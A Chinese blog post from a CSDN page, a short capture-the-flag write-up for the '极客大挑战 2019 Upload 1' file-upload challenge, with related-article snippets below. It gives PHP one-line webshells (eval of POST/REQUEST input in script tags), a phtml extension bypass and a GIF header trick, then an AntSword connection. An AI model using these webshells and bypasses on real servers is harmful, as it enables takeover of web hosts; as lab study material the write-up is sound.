极客大挑战 2019 Upload :1文件上传

最新推荐文章于 2023-11-25 16:57:05 发布
最新推荐文章于 2023-11-25 16:57:05 发布
阅读量123 收藏
点赞数
文章标签： webview wpf p2p
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_63206880/article/details/122203488
版权

绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht

这里phtml可以成功

 

 

这里发现过滤了?号

 

还有文件头 改jpeg\png\gif都可以   

 

绕过问号

<script language="pHp">@eval($_POST['cmd'])</script>

 

 

这里上传的文件在upload目录下

 

 

下面使用蚁剑连接

 

剩下的flag 你们自己找找啦  <"v">

xiaodou^_^
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
极客大挑战 2019 Upload 1
qq_52715164的博客
04-20 2500
还是文件上传得题，上传有一句话木马写的且改后缀为jpg得文件，会出现提示说文件包含`<?传不了，所以修改木马为： GIF89a? <script language="php">eval($_REQUEST[123])</script> 打开burp，抓包修改文件后缀， 发现php上传不了， 常规文件后缀为： php2, php3, php4, php5, phps, pht, phtm, phtml 这里修改后缀为：phtml可正常上传 但上传后没有返回图片保存地址，一般上
[极客大挑战 2019]Upload 1(文件上传)
热门推荐
weixin_45253573的博客
12-08 1万+
打开环境是一个上传图片的页面。 先上传一句话木马试试，这里格式直接不变，先上传看看。 <?php eval($_POST['b'])?> <?php $_GET['a']($_POST['b'])?> 提示说不是图片，需要抓包改文件格式。将Content-Type里面的格式改为image/jpeg 绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht 前几个php格式的一句话都被b了，比如php3 将文件格式改到phtml可以了，但带<?的一句话
Web-[极客大挑战 2019] Upload1
汗的博客
05-21 1098
文章目录[极客大挑战 2019]Upload1 [极客大挑战 2019]Upload1 shell名she.phtml 内容 GIF98a <script language="php">eval($_POST['cmd']);</script> burp抓包Content-Type: image/jpeg 在upload/目录下，访问页面，蚁剑连接，cat /flag ...
BUUCTF-[极客大挑战 2019]Upload1
Monica的博客
09-14 1945
题目： 分析： 一个文件上传漏洞 上传一个1.php文件内容为：<?php eval($_POST[1]);?> 发现报错。 查看源代码，没有关于过滤的代码，说明是后端进行的过滤。 bp抓包：修改MIME 报错说不能是php文件、绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht 发现只要phtml文件可以使用，修改后缀为phtml phtml一般是指嵌入了php代码的html文件，但是同样也会作为php解析 PHT文件是一个HTM.
[极客大挑战 2019]Upload1
weixin_63289925的博客
04-13 2611
题目提示要上传图片，先上传普通的一句话木马试试，发现得到都是No image 上传常见的图片木马 GIF89a <script language='php'>@eval($_REQUEST[a]);</script> 用bp抓包，把文件后缀名改为test.phtml 因为发现后缀.php,.php2,.php3,.php4,.php5,.php6,.php7都不能显示上传成功，所以可能都被过滤了，只有.phtml可以 使用蚁剑连接，猜测保存在upload下面...
阿里云IoT极客创新挑战赛.pdf
08-29
高级设计专家 望海 在2018云栖大会·上海峰会中做了题为《阿里云 IoT 极客创新挑战赛》的分享,就极客挑战赛创意来源、赛事的技术平台、赛事进程等方面的内容做了深入的分析。
GFG-：极客，极客30天挑战
02-17
极客30天挑战2021年1月 30天练​​习问题的Python解决方案： 与同学一起翻阅怪胎。（Array）; 第N个自然数； 不能表示为Sum的最小正整数； 从抽屉里拿出“ k”双袜子的最小采摘次数； 螺旋矩阵奇克兰的硬币； 有效...
GeekUniversityWebTask:极客大学前端训练营作业
04-18
【标题】"极客大学前端训练营作业"揭示了这个压缩包内容主要涉及的是极客大学（GeekUniversity）组织的前端开发学习任务。在这个训练营中，学员们可能通过一系列练习和项目来提升自己的前端技能，特别是JavaScript...
2019年三诺集团四周年庆典极客摇滚跑活动方案.pptx
05-06
此文档描述的是2019年三诺集团四周年庆典的一项独特活动——“极客摇滚跑”。这是一场集科技、运动和音乐于一体的大型庆典，旨在庆祝三诺集团的周年纪念，并促进北海市高新产业园及其相关企业的交流与合作。活动的...
极客标签李嘉专访：Gbtags，一个小而美的轻视频互动播放社区
02-26
视频学习编程学完就能练习……这就是极客标签创始人李嘉以及他的团队所致力于的事情，本文是对李嘉以及他们产品的探究。提到录制视频，很多人觉得头大，一方面是录制不容易，需要各种剪辑，另一方面视频的体积也比较...
buuctf-web-[极客大挑战 2019]Upload1
mlws1900的博客
08-11 1356
第一个点，修改phtml，第二个点GIF89a（这个点特别的重要，上面我写的代码没有包含），第三个点要用包含。scriptcmd.phtml是我们上传的webshell。我写的webshell里面加了phpinfo();上传的文件夹upload，找到我们上传的文件。bp后缀名修改phtml，加上下面代码。先上传一个无内容的jpg文件。文件里面要加GIF89a。蚁剑连接，获得flag。上传了一个小马代码为。...
BUUCTF——[极客大挑战2019]Upload-1
最新发布
weixin_62248541的博客
11-25 526
BUUCTF-[极客大挑战2019]Upload-1
BUUCTF——[极客大挑战 2019]Upload 1
weixin_45864041的博客
09-26 1万+
文件上传漏洞，我们先写一句话木马，试着上传。 我们用shell.phtml的文件名直接上传，可以看到有一个前端检查，对文件后缀进行检查。接下来，我们将文件名改成shell.jpg进行上传。 然后又上传失败了，应该是在后端也对我们的文件内容进行了检测。接下来我们试着用文件幻术头的方式进行绕过。 在这里我试了jpg的文件头，但是还是失败了（也不知道为啥） 。最后用gif的文件头成功上传。 说明我们成功绕过了检测然后，我们重新上传，进行抓包，将文件后缀名改成phtml。 上传成功之后，没有给我们具体的存储.
[极客大挑战 2019]Upload 1
qq_45972928的博客
09-29 792
[极客大挑战 2019]Upload 1
极客大挑战 2019]LoveSQL 1
08-24
LoveSQL 1是极客大挑战2019的一个题目，它是一个关于 SQL 查询语言的挑战。具体来说，LoveSQL 1要求参赛者编写一个 SQL 查询，从给定的表中获取满足特定条件的数据。这个挑战旨在考察参赛者对 SQL 语法和查询的理解...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值